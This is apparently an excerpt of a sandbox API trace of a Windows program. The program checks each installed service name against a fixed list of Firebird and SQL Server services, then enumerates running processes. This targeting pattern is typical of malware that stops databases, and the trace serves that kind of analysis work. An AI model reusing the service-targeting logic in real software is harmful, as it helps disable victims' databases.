	[0059.827] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0059.827] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0059.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0059.827] lstrlenW (lpString="MpsSvc") returned 6
	[0059.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.827] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0059.827] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0059.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0059.827] lstrlenW (lpString="NcbService") returned 10
	[0059.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0059.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0059.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0059.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0059.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0059.827] lstrlenW (lpString="netprofm") returned 8
	[0059.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0059.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0059.827] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0059.827] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0059.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0059.827] lstrlenW (lpString="NlaSvc") returned 6
	[0059.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0059.828] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0059.828] lstrlenW (lpString="nsi") returned 3
	[0059.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0059.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0059.828] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0059.828] lstrlenW (lpString="PcaSvc") returned 6
	[0059.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0059.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0059.828] lstrlenW (lpString="PlugPlay") returned 8
	[0059.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0059.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0059.828] lstrlenW (lpString="Power") returned 5
	[0059.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0059.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0059.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0059.828] lstrlenW (lpString="ProfSvc") returned 7
	[0059.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0059.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0059.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0059.829] lstrlenW (lpString="RpcEptMapper") returned 12
	[0059.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0059.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0059.829] lstrlenW (lpString="RpcSs") returned 5
	[0059.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0059.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0059.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0059.829] lstrlenW (lpString="SamSs") returned 5
	[0059.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0059.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0059.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0059.829] lstrlenW (lpString="Schedule") returned 8
	[0059.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0059.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0059.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0059.829] lstrlenW (lpString="SecurityHealthService") returned 21
	[0059.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0059.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0059.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0059.829] lstrlenW (lpString="SENS") returned 4
	[0059.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0059.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0059.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0059.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0059.830] lstrlenW (lpString="ShellHWDetection") returned 16
	[0059.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0059.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0059.830] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0059.830] lstrlenW (lpString="Spooler") returned 7
	[0059.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0059.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0059.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0059.830] lstrlenW (lpString="SSDPSRV") returned 7
	[0059.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0059.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0059.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0059.830] lstrlenW (lpString="StateRepository") returned 15
	[0059.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0059.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0059.830] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0059.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0059.831] lstrlenW (lpString="SysMain") returned 7
	[0059.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0059.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0059.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0059.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0059.831] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0059.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384
	[0059.835] Process32FirstW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0059.835] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0059.836] lstrlenW (lpString="System") returned 6
	[0059.836] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0059.837] lstrlenW (lpString="smss.exe") returned 8
	[0059.837] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0059.837] lstrlenW (lpString="csrss.exe") returned 9
	[0059.838] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0059.838] lstrlenW (lpString="wininit.exe") returned 11
	[0059.838] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0059.839] lstrlenW (lpString="csrss.exe") returned 9
	[0059.839] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0059.840] lstrlenW (lpString="winlogon.exe") returned 12
	[0059.840] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0059.840] lstrlenW (lpString="services.exe") returned 12
	[0059.840] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0059.841] lstrlenW (lpString="lsass.exe") returned 9
	[0059.841] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.842] lstrlenW (lpString="svchost.exe") returned 11
	[0059.842] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0059.842] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0059.843] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0059.843] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0059.843] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.844] lstrlenW (lpString="svchost.exe") returned 11
	[0059.844] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0059.845] lstrlenW (lpString="dwm.exe") returned 7
	[0059.845] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.845] lstrlenW (lpString="svchost.exe") returned 11
	[0059.845] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.846] lstrlenW (lpString="svchost.exe") returned 11
	[0059.846] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.847] lstrlenW (lpString="svchost.exe") returned 11
	[0059.847] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.848] lstrlenW (lpString="svchost.exe") returned 11
	[0059.848] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.848] lstrlenW (lpString="svchost.exe") returned 11
	[0059.848] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.849] lstrlenW (lpString="svchost.exe") returned 11
	[0059.849] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.850] lstrlenW (lpString="svchost.exe") returned 11
	[0059.850] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.850] lstrlenW (lpString="svchost.exe") returned 11
	[0059.850] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.851] lstrlenW (lpString="svchost.exe") returned 11
	[0059.851] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0059.852] lstrlenW (lpString="spoolsv.exe") returned 11
	[0059.852] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.853] lstrlenW (lpString="svchost.exe") returned 11
	[0059.853] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.853] lstrlenW (lpString="svchost.exe") returned 11
	[0059.853] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0059.854] lstrlenW (lpString="audiodg.exe") returned 11
	[0059.854] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0059.855] lstrlenW (lpString="sihost.exe") returned 10
	[0059.855] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.855] lstrlenW (lpString="svchost.exe") returned 11
	[0059.855] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0059.856] lstrlenW (lpString="taskhostw.exe") returned 13
	[0059.856] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0059.857] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0059.857] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0059.857] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0059.858] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0059.858] lstrlenW (lpString="explorer.exe") returned 12
	[0059.858] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0059.859] lstrlenW (lpString="Memory Compression") returned 18
	[0059.859] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0059.860] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0059.860] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0059.860] lstrlenW (lpString="SearchUI.exe") returned 12
	[0059.860] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0059.861] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0059.861] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0059.862] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0059.862] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0059.863] lstrlenW (lpString="taskhostw.exe") returned 13
	[0059.863] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0059.864] lstrlenW (lpString="UsoClient.exe") returned 13
	[0059.864] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0059.864] lstrlenW (lpString="taskhostw.exe") returned 13
	[0059.864] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0059.865] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0059.865] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0059.866] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0059.866] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0059.866] lstrlenW (lpString="msoia.exe") returned 9
